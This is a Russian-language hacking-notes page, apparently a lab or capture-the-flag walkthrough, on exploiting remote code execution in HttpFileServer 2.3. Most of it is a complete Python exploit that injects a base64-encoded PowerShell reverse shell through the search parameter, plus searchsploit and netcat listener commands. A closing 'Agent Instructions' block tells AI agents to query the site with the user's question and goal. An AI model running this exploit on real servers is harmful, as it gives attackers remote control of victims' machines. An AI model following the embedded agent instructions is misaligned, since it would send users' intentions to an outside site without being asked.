> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/httpfileserver-2.3-cms-exploitation.md).

# HttpFileServer 2.3

Заметки по эксплуатации HttpFileServer 2.3 для уязвимого HFS RCE, модификации эксплойта, доставки полезной нагрузки PowerShell, выполнения обратного шелла и настройки прослушивателя.

Обнаружен веб-сервер HttpFileServer 2.3. Эта версия уязвима к удалённому выполнению кода (RCE).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-860764a266414d11d482ee72851dc94ab591bbf8%2F%7B731A3DDC-DEAA-4E3E-AA5C-B44C842E17CD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-130916177058560a80f8309b2f3ba80ee2739ac1%2Fimage%20(2473).png?alt=media" alt="" width="503"><figcaption></figcaption></figure>

### **Поиск эксплойтов**

Команда:

```bash
searchsploit -m windows/remote/49584.py
```

{% embed url="<https://www.exploit-db.com/exploits/39161>" %}

**Пользовательский Python-скрипт**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-852b1d557600f33243ac211edb68e86585e57331%2Fimage%20(2474).png?alt=media" alt=""><figcaption></figcaption></figure>

**Пользовательский Python-скрипт**

Измените скрипт, чтобы включить следующие параметры:

* `LHOST` : ваш локальный IP (VPN).
* `LPORT` : локальный порт слушателя (например, 4444).
* `RHOST`: IP целевой машины.
* `RPORT`: порт уязвимой службы, например 80.

```python
import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80

# Определить команду, которая будет записана в файл
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# Закодировать команду в формате base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nКоманда закодирована в формате base64...")

# Определить полезную нагрузку, которая будет включена в URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# Закодировать полезную нагрузку и отправить HTTP GET-запрос
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nПолезная нагрузка закодирована и HTTP GET-запрос отправлен на целевой объект...")

# Вывести некоторую информацию
print("/nВывод некоторой информации для отладки...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# Ожидание подключений
print("/nОжидание подключения...")
os.system(f'nc -nlvp {lport}')
```

Настройте свою машину в качестве слушателя:

```bash
rlwrap nc -nlvp 4444
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80aa91556f445bebc140bc4e502e601446cf6fe4%2F%7B7D74FA44-9B58-4A85-B29F-DB73C112364F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/cms/httpfileserver-2.3-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
